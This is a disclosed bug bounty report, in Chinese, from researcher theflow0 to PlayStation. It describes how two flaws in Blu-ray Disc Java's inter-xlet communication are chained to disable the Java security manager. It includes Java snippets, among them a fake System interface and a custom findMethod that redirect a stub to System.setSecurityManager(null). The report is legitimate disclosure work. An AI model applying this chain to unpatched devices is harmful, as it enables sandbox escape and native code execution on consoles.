Blu-ray Disc Java沙箱逃逸 via 两个漏洞
漏洞概述
在bd-j中存在两个Ixc(Inter-Xlet Communication)实现:一个是org.dvb.io.ixc,另一个是com.sun.xlet.ixc。通过利用这两个实现中各存在的一个漏洞,可以禁用安全管理器并逃逸Java沙箱。
漏洞1
org.dvb.io.ixc实现使用com.sony.gemstack.org.dvb.io.ixc.IxcProxy,如第一个bd-j漏洞利用中所述,它允许在特权上下文中调用方法。原始漏洞通过检查调用栈是否包含com.sony.gemstack.org.dvb.io.ixc.IxcProxy类来进行缓解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
try {
var4 = (Class[])AccessController.doPrivileged(new IxcProxy.GetCallStackAction());
} catch (PrivilegedActionException var9) {
}
if (var4 != null && var4.length > 2) {
for(int var5 = 0; var5 < var4.length; ++var5) {
String var6 = var4[var5].getName();
if (var6.equals("com.sony.gemstack.org.dvb.io.ixc.IxcProxy")) {
String var7 = var4[var5 + 1].getName();
if (!var7.startsWith("org.dvb.io.ixc.") && !var7.startsWith("com.sony.gemstack.org.dvb.io.ixc.")) {
throw new SecurityException("illegal call of invokeMethod");
}
break;
}
}
}
|
然而,这种缓解措施并不充分,因为真实代理类(由com.sony.gemstack.org.dvb.io.ixc.IxcProxyBuilder构建)的方法仍然可以在特权上下文中调用。
如果一个类的接口扩展了java.rmi.Remote,就可以为Ixc注册实例。此外,只有抛出java.rmi.RemoteException的方法才能通过Ixc调用。
任何满足这些条件的引导类都可以利用特权方法调用。com.sun.xlet.ixc.IxcRegistryImpl就是这样的情况,因此它有资格通过org.dvb.io.ixc.IxcRegistry进行Ixc注册(通过子类化com.sun.xlet.ixc.IxcRegistryImpl并创建子类的新实例)。
com.sun.xlet.ixc.IxcRegistryImpl中的方法包含在bd-j中通常不被授予的权限检查:
1
2
3
|
SecurityManager sm = System.getSecurityManager();
if (sm != null)
sm.checkPermission(new IxcPermission(name, "bind"));
|
但是,通过在远程对象上通过org.dvb.io.ixc调用bind和lookup并调用远程方法,现在可以绕过com.sun.xlet.ixc.IxcRegistryImpl中的权限检查。
漏洞2
com.sun.xlet.ixc实现包含一个允许特权方法调用的漏洞。具体来说,com.sun.xlet.ixc.WrappedRemote中的com_sun_xlet_execute方法在AccessController.doPrivileged块中调用remoteMethod:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
AccessController.doPrivileged(
new PrivilegedExceptionAction() {
public Object run() throws RemoteException {
Throwable err = null;
try {
result[0] = remoteMethod.invoke(targetNow, args);
} catch (InvocationTargetException ite) {
err = ite.getTargetException();
} catch (Throwable t) {
err = t;
}
// ...
return null;
}
}
, context);
|
该方法可通过通过com.sun.xlet.ixc.IxcClassLoader注册对象时生成的存根类访问:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
public final class StubClass$$42 extends com.sun.xlet.WrappedRemote
implements UserIF {
private static Method com_sun_xlet_method0;
private static Method com_sun_xlet_method1;
public static void com_sun_xlet_init(Method findMethodMethod)
throws Exception {
// findMethodMethod是目标*远程对象所在ClassLoader的Utils.findMethod
if (com_sun_xlet_method0 != null) {
return;
}
com_sun_xlet_method0 = (Method) findMethodMethod.invoke(null,
new Object[] { "UserIF", "frob", new Object[] { "Something" }});
com_sun_xlet_method1 = (Method) findMethodMethod.invoke(null,
new Object[] { "UserIF", "glorp",
new Object[] { java.lang.Float.TYPE }});
}
public static void com_sun_xlet_destroy() {
com_sun_xlet_method0 = null;
com_sun_xlet_method1 = null;
}
public StubClass$$42(Remote target, ImportRegistryImpl registry,
RegistryKey key) {
super(target, registry, key);
}
public void frob(Something arg1) throws org.dvb.ixc.RemoteException {
com_sun_xlet_execute(com_sun_xlet_method0,
new Object[] { arg1 });
}
public int glorp(float arg1) throws org.dvb.ixc.RemoteException {
Object r = com_sun_xlet_execute(com_sun_xlet_method1,
new Object[] { new Float(arg1) });
return ((Integer) r).intValue();
}
}
|
要利用特权方法调用,需要将com_sun_xlet_method0设置为有意义的内容。
考虑以下伪造的System类:
1
2
3
4
5
6
7
|
public interface SystemInterface extends java.rmi.Remote {
void setSecurityManager(java.rmi.Remote sm) throws java.rmi.RemoteException;
}
public class SystemImpl implements SystemInterface {
public void setSecurityManager(java.rmi.Remote sm) {}
}
|
创建此类的实例并通过com.sun.xlet.ixc.IxcRegistryImpl注册(通过利用漏洞1实现)。
在存根类的远程对象上,调用com_sun_xlet_destroy将com_sun_xlet_method0设置为null,然后使用自定义的findMethod方法作为参数调用com_sun_xlet_init:
1
2
3
4
5
|
public static Object findMethod(String cName, String mName, Object[] types)
throws NoSuchMethodException {
return System.class.getMethod(
"setSecurityManager", new Class[] {SecurityManager.class});
}
|
这将把com_sun_xlet_method0设置为真实的System.setSecurityManager。现在,当在远程SystemImpl对象上调用setSecurityManager(null)时,将改为调用System.SecurityManager(null)。这有效地禁用了Java沙箱。
影响
在bd-j中实现原生代码执行
时间线
- theflow0 向PlayStation提交报告 - 2025年4月22日,下午3:20(UTC)
- theflow0 更改报告标题 - 2025年4月22日,下午3:21(UTC)
- theflow0 更改报告标题 - 2025年4月22日,下午3:22(UTC)
- theflow0 更新漏洞信息 - 2025年4月22日,下午3:23(UTC)
- theflow0 更新漏洞信息 - 2025年4月22日,下午3:24(UTC)
- theflow0 更新漏洞信息 - 2025年4月22日,下午3:27(UTC)
- shoshin_cup PlayStation员工 发表评论 - 2025年4月22日,下午4:04(UTC)
- shoshin_cup PlayStation员工 将状态更改为Pending program review - 2025年4月22日,下午4:05(UTC)
- shoshin_cup PlayStation员工 发表评论 - 2025年4月24日,上午2:24(UTC)
- theflow0 发表评论 - 2025年4月24日,下午7:21(UTC)
- theflow0 发表评论 - 2025年5月30日,下午2:04(UTC)
- shoshin_cup PlayStation员工 将状态更改为Triaged - 2025年5月30日,下午9:00(UTC)
- shoshin_cup PlayStation员工 将严重性更新为medium - 2025年6月7日,上午1:19(UTC)
- theflow0 发表评论 - 2025年6月19日,上午8:11(UTC)
- shoshin_cup PlayStation员工 发表评论 - 2025年6月19日,下午6:03(UTC)
- theflow0 发表评论 - 2025年7月11日,上午5:55(UTC)
- PlayStation 奖励theflow0 $5,000赏金 - 2025年7月15日,上午9:42(UTC)
- hacker-01 PlayStation员工 发表评论 - 2025年7月15日,下午3:09(UTC)
- theflow0 发表评论 - 2025年7月15日,下午7:03(UTC)
- hacker-01 PlayStation员工 关闭报告并将状态更改为Resolved - 2025年7月16日,上午10:44(UTC)
- theflow0 请求披露此报告 - 2025年7月16日,上午11:01(UTC)
- theflow0 发表评论 - 2025年8月1日,上午10:16(UTC)
- theflow0 发表评论 - 10天前
- hacker-01 PlayStation员工 同意披露此报告 - 5天前
- 此报告已被披露 - 5天前
- PlayStation 已锁定此报告 - 5天前
报告详情
- 报告时间:2025年4月22日,下午3:20(UTC)
- 报告者:theflow0
- 报告对象:PlayStation
- 报告ID:#3104356
- 状态:已解决
- 严重性:中等(4 ~ 6.9)
- 披露时间:2025年10月18日,上午12:35(UTC)
- 弱点:使用不必要权限执行
- CVE ID:无
- 赏金:$5,000